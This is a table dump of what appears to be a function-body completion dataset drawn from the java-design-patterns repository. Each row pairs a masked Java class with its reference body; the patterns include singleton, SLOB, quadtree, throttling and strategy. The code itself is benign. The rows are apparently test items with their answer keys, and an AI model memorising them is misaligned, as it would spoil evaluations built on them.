proj_name
stringclasses
131 values
relative_path
stringlengths
30
228
class_name
stringlengths
1
68
func_name
stringlengths
1
48
masked_class
stringlengths
78
9.82k
func_body
stringlengths
46
9.61k
len_input
int64
29
2.01k
len_output
int64
14
1.94k
total
int64
55
2.05k
relevant_context
stringlengths
0
38.4k
iluwatar_java-design-patterns
java-design-patterns/single-table-inheritance/src/main/java/com/iluwatar/entity/Vehicle.java
Vehicle
toString
class Vehicle { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private int vehicleId; private String manufacturer; private String model; protected Vehicle(String manufacturer, String model) { this.manufacturer = manufacturer; this.model = model; } @Override public String toString...
return "Vehicle{" + "vehicleId=" + vehicleId + ", manufacturer='" + manufacturer + '\'' + ", model='" + model + '}';
112
59
171
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// eagerly initialized singleton var ivoryTower1 = IvoryTower.getInstance(); var ivoryTower2 = IvoryTower.getInstance(); LOGGER.info("ivoryTower1={}", ivoryTower1); LOGGER.info("ivoryTower2={}", ivoryTower2); // lazily initialized singleton var threadSafeIvoryTower1 = ThreadSafeLazyLoaded...
56
537
593
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeDoubleCheckLocking.java
ThreadSafeDoubleCheckLocking
getInstance
class ThreadSafeDoubleCheckLocking { /** * Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads. */ private static volatile ThreadSafeDoubleCheckLocking instance; /** * private constructor to prevent client from instantiating. */ private ThreadSafeDouble...
// local variable increases performance by 25 percent // Joshua Bloch "Effective Java, Second Edition", p. 283-284 var result = instance; // Check if singleton instance is initialized. // If it is initialized then we can return the instance. if (result == null) { // It is not initialized...
174
291
465
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeLazyLoadedIvoryTower.java
ThreadSafeLazyLoadedIvoryTower
getInstance
class ThreadSafeLazyLoadedIvoryTower { /** * Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads. */ private static volatile ThreadSafeLazyLoadedIvoryTower instance; /** * Private constructor to prevent instantiation from outside the class. */ private ...
if (instance == null) { instance = new ThreadSafeLazyLoadedIvoryTower(); } return instance;
211
37
248
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/App.java
App
executeSerializer
class App { public static final String CLOB = "CLOB"; private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Main entry point to program. * <p>In the SLOB pattern, the object graph is serialized into a single large object (a BLOB or * CLOB, for Binary Large Object or Character L...
try (LobSerializer serializer = lobSerializer) { Object serialized = serializer.serialize(forest); int id = serializer.persistToDb(1, forest.getName(), serialized); Object fromDb = serializer.loadFromDb(id, Forest.class.getSimpleName()); Forest forestFromDb = serializer.deSerialize(fromDb...
1,012
156
1,168
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/dbservice/DatabaseService.java
DatabaseService
insert
class DatabaseService { public static final String CREATE_BINARY_SCHEMA_DDL = "CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VARBINARY)"; public static final String CREATE_TEXT_SCHEMA_DDL = "CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VA...
try (var connection = dataSource.getConnection(); var insert = connection.prepareStatement(INSERT)) { insert.setInt(1, id); insert.setString(2, name); insert.setObject(3, data); insert.execute(); }
1,167
71
1,238
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Animal.java
Animal
toString
class Animal implements Serializable { private String name; private Set<Plant> plantsEaten = new HashSet<>(); private Set<Animal> animalsEaten = new HashSet<>(); /** * Iterates over the input nodes recursively and adds new plants to {@link Animal#plantsEaten} or * animals to {@link Animal#animalsEaten} ...
StringBuilder sb = new StringBuilder(); sb.append("\nAnimal Name = ").append(name); if (!animalsEaten.isEmpty()) { sb.append("\n\tAnimals Eaten by ").append(name).append(": "); } for (Animal animal : animalsEaten) { sb.append("\n\t\t").append(animal); } sb.append("\n"); if (...
734
189
923
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Forest.java
Forest
toXmlElement
class Forest implements Serializable { private String name; private Set<Animal> animals = new HashSet<>(); private Set<Plant> plants = new HashSet<>(); /** * Provides the representation of Forest in XML form. * * @return XML Element */ public Element toXmlElement() throws ParserConfigurationExce...
Document xmlDoc = getXmlDoc(); Element forestXml = xmlDoc.createElement("Forest"); forestXml.setAttribute("name", name); Element animalsXml = xmlDoc.createElement("Animals"); for (Animal animal : animals) { Element animalXml = animal.toXmlElement(xmlDoc); animalsXml.appendChild(animal...
498
182
680
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Plant.java
Plant
toXmlElement
class Plant implements Serializable { private String name; private String type; /** * Provides XML Representation of the Plant. * * @param xmlDoc to which the XML representation is to be written to * @return XML Element contain the Animal representation */ public Element toXmlElement(Document x...
Element root = xmlDoc.createElement(Plant.class.getSimpleName()); root.setAttribute("name", name); root.setAttribute("type", type); xmlDoc.appendChild(root); return xmlDoc.getDocumentElement();
270
64
334
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/BlobSerializer.java
BlobSerializer
deSerialize
class BlobSerializer extends LobSerializer { public static final String TYPE_OF_DATA_FOR_DB = "BINARY"; public BlobSerializer() throws SQLException { super(TYPE_OF_DATA_FOR_DB); } /** * Serializes the input object graph to its Binary Representation using Object Stream. * * @param toSerialize Obj...
InputStream bis = (InputStream) toDeserialize; Forest forest; try (ObjectInput in = new ObjectInputStream(bis)) { forest = (Forest) in.readObject(); } return forest;
329
58
387
<methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLExc...
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/ClobSerializer.java
ClobSerializer
elementToXmlString
class ClobSerializer extends LobSerializer { public static final String TYPE_OF_DATA_FOR_DB = "TEXT"; public ClobSerializer() throws SQLException { super(TYPE_OF_DATA_FOR_DB); } /** * Converts the input node to its XML String Representation. * * @param node XML Node that is to be converted to st...
StringWriter sw = new StringWriter(); Transformer t = TransformerFactory.newDefaultInstance().newTransformer(); t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "no"); t.setOutputProperty(OutputKeys.INDENT, "yes"); t.transform(new DOMSource(node), new StreamResult(sw)); return sw.toString()...
526
97
623
<methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLExc...
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/LobSerializer.java
LobSerializer
close
class LobSerializer implements Serializable, Closeable { private final transient DatabaseService databaseService; /** * Constructor initializes {@link LobSerializer#databaseService}. * * @param dataTypeDb Input provides type of Data to be stored by the Data Base Service * @throws SQLException If any i...
try { databaseService.shutDownService(); } catch (SQLException e) { throw new RuntimeException(e); }
656
39
695
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/App.java
App
noSpatialPartition
class App { static void noSpatialPartition(int numOfMovements, Map<Integer, Bubble> bubbles) {<FILL_FUNCTION_BODY>} static void withSpatialPartition( int height, int width, int numOfMovements, Map<Integer, Bubble> bubbles) { //creating quadtree var rect = new Rect(width / 2D, height / 2D, width, hei...
//all bubbles have to be checked for collision for all bubbles var bubblesToCheck = bubbles.values(); //will run numOfMovement times or till all bubbles have popped while (numOfMovements > 0 && !bubbles.isEmpty()) { bubbles.forEach((i, bubble) -> { // bubble moves, new position gets upda...
686
194
880
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Bubble.java
Bubble
handleCollision
class Bubble extends Point<Bubble> { private static final SecureRandom RANDOM = new SecureRandom(); final int radius; Bubble(int x, int y, int id, int radius) { super(x, y, id); this.radius = radius; } void move() { //moves by 1 unit in either direction this.coordinateX += RANDOM.nextInt(3)...
var toBePopped = false; //if any other bubble collides with it, made true for (var point : toCheck) { var otherId = point.id; if (allBubbles.get(otherId) != null //the bubble hasn't been popped yet && this.id != otherId //the two bubbles are not the same && this.touches(allBubb...
371
175
546
<methods><variables>public int coordinateX,public int coordinateY,public final non-sealed int id
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/QuadTree.java
QuadTree
divide
class QuadTree { Rect boundary; int capacity; boolean divided; Map<Integer, Point> points; QuadTree northwest; QuadTree northeast; QuadTree southwest; QuadTree southeast; QuadTree(Rect boundary, int capacity) { this.boundary = boundary; this.capacity = capacity; this.divided = false; ...
var x = this.boundary.coordinateX; var y = this.boundary.coordinateY; var width = this.boundary.width; var height = this.boundary.height; var nw = new Rect(x - width / 4, y + height / 4, width / 2, height / 2); this.northwest = new QuadTree(nw, this.capacity); var ne = new Rect(x + width / ...
566
278
844
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Rect.java
Rect
contains
class Rect { double coordinateX; double coordinateY; double width; double height; //(x,y) - centre of rectangle Rect(double x, double y, double width, double height) { this.coordinateX = x; this.coordinateY = y; this.width = width; this.height = height; } boolean contains(Point p) {<F...
return p.coordinateX >= this.coordinateX - this.width / 2 && p.coordinateX <= this.coordinateX + this.width / 2 && p.coordinateY >= this.coordinateY - this.height / 2 && p.coordinateY <= this.coordinateY + this.height / 2;
251
88
339
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/SpatialPartitionBubbles.java
SpatialPartitionBubbles
handleCollisionsUsingQt
class SpatialPartitionBubbles extends SpatialPartitionGeneric<Bubble> { private final Map<Integer, Bubble> bubbles; private final QuadTree bubblesQuadTree; SpatialPartitionBubbles(Map<Integer, Bubble> bubbles, QuadTree bubblesQuadTree) { this.bubbles = bubbles; this.bubblesQuadTree = bubblesQuadTree; ...
// finding points within area of a square drawn with centre same as // centre of bubble and length = radius of bubble var rect = new Rect(b.coordinateX, b.coordinateY, 2D * b.radius, 2D * b.radius); var quadTreeQueryResult = new ArrayList<Point>(); this.bubblesQuadTree.query(rect, quadTreeQueryResu...
136
127
263
<methods>public non-sealed void <init>() <variables>Map<java.lang.Integer,com.iluwatar.spatialpartition.Bubble> playerPositions,com.iluwatar.spatialpartition.QuadTree quadTree
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/App.java
App
main
class App { private static final Logger LOGGER = LoggerFactory.getLogger(App.class); private static final String LOGGER_STRING = "[REQUEST] User: {} buy product: {}"; private static final String TEST_USER_1 = "ignite1771"; private static final String TEST_USER_2 = "abc123"; private static final String ITEM_...
// DB seeding LOGGER.info("Db seeding: " + "1 user: {\"ignite1771\", amount = 1000.0}, " + "2 products: {\"computer\": price = 800.0, \"car\": price = 20000.0}"); Db.getInstance().seedUser(TEST_USER_1, 1000.0); Db.getInstance().seedItem(ITEM_COMPUTER, 800.0); Db.getInstance().seedItem(ITEM_...
178
482
660
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/ApplicationServicesImpl.java
ApplicationServicesImpl
loggedInUserPurchase
class ApplicationServicesImpl implements ApplicationServices { private DomainServicesImpl domain = new DomainServicesImpl(); @Override public ReceiptViewModel loggedInUserPurchase(String userName, String itemName) {<FILL_FUNCTION_BODY>} private boolean isDownForMaintenance() { return MaintenanceLock.getI...
if (isDownForMaintenance()) { return new DownForMaintenance(); } return this.domain.purchase(userName, itemName);
94
42
136
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/Db.java
Account
withdraw
class Account { private Double amount; public Account(Double amount) { this.amount = amount; } /** * Withdraw the price of the item from the account. * * @param price of the item * @return instance of MoneyTransaction */ public MoneyTransaction withdraw(Double price...
if (price > amount) { return null; } return new MoneyTransaction(amount, price);
117
31
148
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/DomainServicesImpl.java
DomainServicesImpl
purchase
class DomainServicesImpl implements DomainServices { /** * Domain purchase with userName and itemName, with validation for userName. * * @param userName of the user * @param itemName of the item * @return instance of ReceiptViewModel */ public ReceiptViewModel purchase(String userName, String ite...
Db.Product item = Db.getInstance().findProductByItemName(itemName); if (item == null) { return new OutOfStock(user.getUserName(), itemName); } ReceiptDto receipt = user.purchase(item); MoneyTransaction transaction = account.withdraw(receipt.getPrice()); if (transaction == null) { r...
301
132
433
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/InsufficientFunds.java
InsufficientFunds
show
class InsufficientFunds implements ReceiptViewModel { private String userName; private Double amount; private String itemName; /** * Constructor of InsufficientFunds. * * @param userName of the user * @param amount of the user's account * @param itemName of the item */ public InsufficientF...
LOGGER.info("Insufficient funds: " + amount + " of user: " + userName + " for buying item: " + itemName);
167
39
206
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/OutOfStock.java
OutOfStock
show
class OutOfStock implements ReceiptViewModel { private static final Logger LOGGER = LoggerFactory.getLogger(OutOfStock.class); private final String userName; private final String itemName; public OutOfStock(String userName, String itemName) { this.userName = userName; this.itemName = itemName; } ...
LOGGER.info(String.format("Out of stock: %s for user = %s to buy", itemName, userName));
122
34
156
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/specification/src/main/java/com/iluwatar/specification/app/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} private static void print(List<? extends Creature> creatures, Predicate<Creature> selector) { creatures.stream().filter(selector).map(Objects::toString).forEach(LOGGER::info); } }
// initialize creatures list var creatures = List.of( new Goblin(), new Octopus(), new Dragon(), new Shark(), new Troll(), new KillerBee() ); // so-called "hard-coded" specification LOGGER.info("Demonstrating hard-coded specification :"); // find ...
96
550
646
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/specification/src/main/java/com/iluwatar/specification/creature/AbstractCreature.java
AbstractCreature
toString
class AbstractCreature implements Creature { private final String name; private final Size size; private final Movement movement; private final Color color; private final Mass mass; /** * Constructor. */ public AbstractCreature(String name, Size size, Movement movement, Color color, Mass mass) { ...
return String.format("%s [size=%s, movement=%s, color=%s, mass=%s]", name, size, movement, color, mass);
261
45
306
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/state/src/main/java/com/iluwatar/state/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var mammoth = new Mammoth(); mammoth.observe(); mammoth.timePasses(); mammoth.observe(); mammoth.timePasses(); mammoth.observe();
44
64
108
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/state/src/main/java/com/iluwatar/state/Mammoth.java
Mammoth
timePasses
class Mammoth { private State state; public Mammoth() { state = new PeacefulState(this); } /** * Makes time pass for the mammoth. */ public void timePasses() {<FILL_FUNCTION_BODY>} private void changeStateTo(State newState) { this.state = newState; this.state.onEnterStat...
if (state.getClass().equals(PeacefulState.class)) { changeStateTo(new AngryState(this)); } else { changeStateTo(new PeacefulState(this)); }
186
62
248
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var warrior = CharacterStepBuilder .newBuilder() .name("Amberjill") .fighterClass("Paladin") .withWeapon("Sword") .noAbilities() .build(); LOGGER.info(warrior.toString()); var mage = CharacterStepBuilder .newBuilder() .name("Riobard") ...
56
233
289
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/Character.java
Character
toString
class Character { private String name; private String fighterClass; private String wizardClass; private String weapon; private String spell; private List<String> abilities; public Character(String name) { this.name = name; } @Override public String toString() {<FILL_FUNCTION_BODY>} }
return new StringBuilder() .append("This is a ") .append(fighterClass != null ? fighterClass : wizardClass) .append(" named ") .append(name) .append(" armed with a ") .append(weapon != null ? weapon : spell != null ? spell : "with nothing") .append(abilities ...
97
124
221
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/step-builder/src/main/java/com/iluwatar/stepbuilder/CharacterStepBuilder.java
CharacterSteps
build
class CharacterSteps implements NameStep, ClassStep, WeaponStep, SpellStep, AbilityStep, BuildStep { private String name; private String fighterClass; private String wizardClass; private String weapon; private String spell; private final List<String> abilities = new ArrayList<>(); @O...
var character = new Character(name); if (fighterClass != null) { character.setFighterClass(fighterClass); } else { character.setWizardClass(wizardClass); } if (weapon != null) { character.setWeapon(weapon); } else { character.setSpell(spell); ...
427
136
563
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/App.java
App
main
class App { /** * Program entry point. * @param args command line args */ public static void main(final String[] args) {<FILL_FUNCTION_BODY>} }
final var nums = new int[]{1, 2, 3, 4, 5}; //Before migration final var oldSystem = new OldArithmetic(new OldSource()); oldSystem.sum(nums); oldSystem.mul(nums); //In process of migration final var halfSystem = new HalfArithmetic(new HalfSource(), new OldSource()); halfSystem.sum(nums);...
53
183
236
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/HalfSource.java
HalfSource
ifNonZero
class HalfSource { private static final String VERSION = "1.5"; /** * Implement accumulate sum with new technique. * Replace old one in {@link OldSource} */ public int accumulateSum(int... nums) { LOGGER.info("Source module {}", VERSION); return Arrays.stream(nums).reduce(0, Integer::sum); } ...
LOGGER.info("Source module {}", VERSION); return Arrays.stream(nums).allMatch(num -> num != 0);
156
40
196
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/NewSource.java
NewSource
accumulateMul
class NewSource { private static final String VERSION = "2.0"; public static final String SOURCE_MODULE = "Source module {}"; public int accumulateSum(int... nums) { LOGGER.info(SOURCE_MODULE, VERSION); return Arrays.stream(nums).reduce(0, Integer::sum); } /** * Implement accumulate multiply with...
LOGGER.info(SOURCE_MODULE, VERSION); return Arrays.stream(nums).reduce(1, (a, b) -> a * b);
209
46
255
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strangler/src/main/java/com/iluwatar/strangler/OldSource.java
OldSource
accumulateMul
class OldSource { private static final String VERSION = "1.0"; /** * Implement accumulate sum with old technique. */ public int accumulateSum(int... nums) { LOGGER.info("Source module {}", VERSION); var sum = 0; for (final var num : nums) { sum += num; } return sum; } /** ...
LOGGER.info("Source module {}", VERSION); var sum = 1; for (final var num : nums) { sum *= num; } return sum;
153
52
205
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/App.java
App
main
class App { private static final String RED_DRAGON_EMERGES = "Red dragon emerges."; private static final String GREEN_DRAGON_SPOTTED = "Green dragon spotted ahead!"; private static final String BLACK_DRAGON_LANDS = "Black dragon lands before you."; /** * Program entry point. * * @param args command l...
// GoF Strategy pattern LOGGER.info(GREEN_DRAGON_SPOTTED); var dragonSlayer = new DragonSlayer(new MeleeStrategy()); dragonSlayer.goToBattle(); LOGGER.info(RED_DRAGON_EMERGES); dragonSlayer.changeStrategy(new ProjectileStrategy()); dragonSlayer.goToBattle(); LOGGER.info(BLACK_DRAGON_LAN...
135
536
671
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/ProjectileStrategy.java
ProjectileStrategy
execute
class ProjectileStrategy implements DragonSlayingStrategy { @Override public void execute() {<FILL_FUNCTION_BODY>} }
LOGGER.info("You shoot the dragon with the magical crossbow and it falls dead on the ground!");
42
31
73
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/strategy/src/main/java/com/iluwatar/strategy/SpellStrategy.java
SpellStrategy
execute
class SpellStrategy implements DragonSlayingStrategy { @Override public void execute() {<FILL_FUNCTION_BODY>} }
LOGGER.info("You cast the spell of disintegration and the dragon vaporizes in a pile of dust!");
44
33
77
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/App.java
App
main
class App { /** * Entry point of the main program. * @param args Program runtime arguments. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Use superpower: sky launch"); var skyLaunch = new SkyLaunch(); skyLaunch.activate(); LOGGER.info("Use superpower: ground dive"); var groundDive = new GroundDive(); groundDive.activate();
58
73
131
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/subclass-sandbox/src/main/java/com/iluwatar/subclasssandbox/Superpower.java
Superpower
move
class Superpower { protected Logger logger; /** * Subclass of superpower should implement this sandbox method by calling the * methods provided in this super class. */ protected abstract void activate(); /** * Move to (x, y, z). * @param x X coordinate. * @param y Y coordinate. * @param ...
logger.info("Move to ( {}, {}, {} )", x, y, z);
285
23
308
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/App.java
App
createSchema
class App { private static final String DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"; /** * Private constructor. */ private App() { } /** * Program entry point. * * @param args command line args. * @throws SQLException if any error occurs. */ public static void main(final String[]...
try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(UserTableModule.CREATE_SCHEMA_SQL); }
479
48
527
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/table-module/src/main/java/com/iluwatar/tablemodule/UserTableModule.java
UserTableModule
login
class UserTableModule { /** * Public element for creating schema. */ public static final String CREATE_SCHEMA_SQL = "CREATE TABLE IF NOT EXISTS USERS (ID NUMBER, USERNAME VARCHAR(30) " + "UNIQUE,PASSWORD VARCHAR(30))"; /** * Public element for deleting schema. */ public s...
var sql = "select count(*) from USERS where username=? and password=?"; ResultSet resultSet = null; try (var connection = dataSource.getConnection(); var preparedStatement = connection.prepareStatement(sql) ) { var result = 0; preparedStatement.setString(1, usernam...
463
207
670
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var thief = new HalflingThief(new HitAndRunMethod()); thief.steal(); thief.changeMethod(new SubtleMethod()); thief.steal();
56
50
106
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/StealingMethod.java
StealingMethod
steal
class StealingMethod { protected abstract String pickTarget(); protected abstract void confuseTarget(String target); protected abstract void stealTheItem(String target); /** * Steal. */ public final void steal() {<FILL_FUNCTION_BODY>} }
var target = pickTarget(); LOGGER.info("The target has been chosen as {}.", target); confuseTarget(target); stealTheItem(target);
88
49
137
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/template-method/src/main/java/com/iluwatar/templatemethod/SubtleMethod.java
SubtleMethod
stealTheItem
class SubtleMethod extends StealingMethod { @Override protected String pickTarget() { return "shop keeper"; } @Override protected void confuseTarget(String target) { LOGGER.info("Approach the {} with tears running and hug him!", target); } @Override protected void stealTheItem(String target) ...
LOGGER.info("While in close contact grab the {}'s wallet.", target);
107
23
130
<methods>public non-sealed void <init>() ,public final void steal() <variables>
iluwatar_java-design-patterns
java-design-patterns/thread-local-storage/src/main/java/com/iluwatar/AbstractThreadLocalExample.java
AbstractThreadLocalExample
run
class AbstractThreadLocalExample implements Runnable { private static final SecureRandom RND = new SecureRandom(); private static final Integer RANDOM_THREAD_PARK_START = 1_000_000_000; private static final Integer RANDOM_THREAD_PARK_END = 2_000_000_000; @Override public void run() {<FILL_FUNCTION_BODY>} ...
long nanosToPark = RND.nextInt(RANDOM_THREAD_PARK_START, RANDOM_THREAD_PARK_END); LockSupport.parkNanos(nanosToPark); System.out.println(getThreadName() + ", before value changing: " + getter().get()); setter().accept(RND.nextInt());
216
98
314
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
LOGGER.info("Program started"); // Create a list of tasks to be executed var tasks = List.of( new PotatoPeelingTask(3), new PotatoPeelingTask(6), new CoffeeMakingTask(2), new CoffeeMakingTask(6), new PotatoPeelingTask(4), new CoffeeMakingTask(2), ne...
56
383
439
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/thread-pool/src/main/java/com/iluwatar/threadpool/Worker.java
Worker
run
class Worker implements Runnable { private final Task task; public Worker(final Task task) { this.task = task; } @Override public void run() {<FILL_FUNCTION_BODY>} }
LOGGER.info("{} processing {}", Thread.currentThread().getName(), task.toString()); try { Thread.sleep(task.getTimeMs()); } catch (InterruptedException e) { e.printStackTrace(); }
66
63
129
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/App.java
App
makeServiceCalls
class App { /** * Application entry point. * * @param args main arguments */ public static void main(String[] args) { var callsCount = new CallsCount(); var human = new BarCustomer("young human", 2, callsCount); var dwarf = new BarCustomer("dwarf soldier", 4, callsCount); var executorS...
var timer = new ThrottleTimerImpl(1000, callsCount); var service = new Bartender(timer, callsCount); // Sleep is introduced to keep the output in check and easy to view and analyze the results. IntStream.range(0, 50).forEach(i -> { service.orderDrink(barCustomer); try { Thread.sleep...
284
136
420
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/Bartender.java
Bartender
orderDrink
class Bartender { private static final Logger LOGGER = LoggerFactory.getLogger(Bartender.class); private final CallsCount callsCount; public Bartender(Throttler timer, CallsCount callsCount) { this.callsCount = callsCount; timer.start(); } /** * Orders a drink from the bartender. * @return cu...
var tenantName = barCustomer.getName(); var count = callsCount.getCount(tenantName); if (count >= barCustomer.getAllowedCallsPerSecond()) { LOGGER.error("I'm sorry {}, you've had enough for today!", tenantName); return -1; } callsCount.incrementCount(tenantName); LOGGER.debug("Servi...
173
128
301
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/throttling/src/main/java/com/iluwatar/throttling/timer/ThrottleTimerImpl.java
ThrottleTimerImpl
start
class ThrottleTimerImpl implements Throttler { private final int throttlePeriod; private final CallsCount callsCount; public ThrottleTimerImpl(int throttlePeriod, CallsCount callsCount) { this.throttlePeriod = throttlePeriod; this.callsCount = callsCount; } /** * A timer is initiated with this m...
new Timer(true).schedule(new TimerTask() { @Override public void run() { callsCount.reset(); } }, 0, throttlePeriod);
146
52
198
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/App.java
App
main
class App { /** * Program entry point. */ public static void main(String[] args) throws IOException, ClassNotFoundException {<FILL_FUNCTION_BODY>} }
// Write V1 var fishV1 = new RainbowFish("Zed", 10, 11, 12); LOGGER.info("fishV1 name={} age={} length={} weight={}", fishV1.getName(), fishV1.getAge(), fishV1.getLengthMeters(), fishV1.getWeightTons()); RainbowFishSerializer.writeV1(fishV1, "fish1.out"); // Read V1 var deserializedRain...
50
517
567
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/RainbowFishSerializer.java
RainbowFishSerializer
readV1
class RainbowFishSerializer { public static final String LENGTH_METERS = "lengthMeters"; public static final String WEIGHT_TONS = "weightTons"; private RainbowFishSerializer() { } /** * Write V1 RainbowFish to file. */ public static void writeV1(RainbowFish rainbowFish, String filename) throws IOEx...
Map<String, String> map; try (var fileIn = new FileInputStream(filename); var objIn = new ObjectInputStream(fileIn)) { map = (Map<String, String>) objIn.readObject(); } return new RainbowFish( map.get("name"), Integer.parseInt(map.get("age")), Integer.parseInt(m...
548
133
681
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/trampoline/src/main/java/com/iluwatar/trampoline/TrampolineApp.java
TrampolineApp
loop
class TrampolineApp { /** * Main program for showing pattern. It does loop with factorial function. */ public static void main(String[] args) { LOGGER.info("Start calculating war casualties"); var result = loop(10, 1).result(); LOGGER.info("The number of orcs perished in the war: {}", result); ...
if (times == 0) { return Trampoline.done(prod); } else { return Trampoline.more(() -> loop(times - 1, prod * times)); }
152
53
205
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/App.java
App
generateSampleRooms
class App { private static final String H2_DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1"; private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Program entry point. * Initialises an instance of Hotel and adds rooms to it. * Carries out booking and cancel booking transactions....
final var room1 = new Room(1, "Single", 50, false); final var room2 = new Room(2, "Double", 80, false); final var room3 = new Room(3, "Queen", 120, false); final var room4 = new Room(4, "King", 150, false); final var room5 = new Room(5, "Single", 50, false); final var room6 = new Room(6, "Doubl...
762
157
919
<no_super_class>
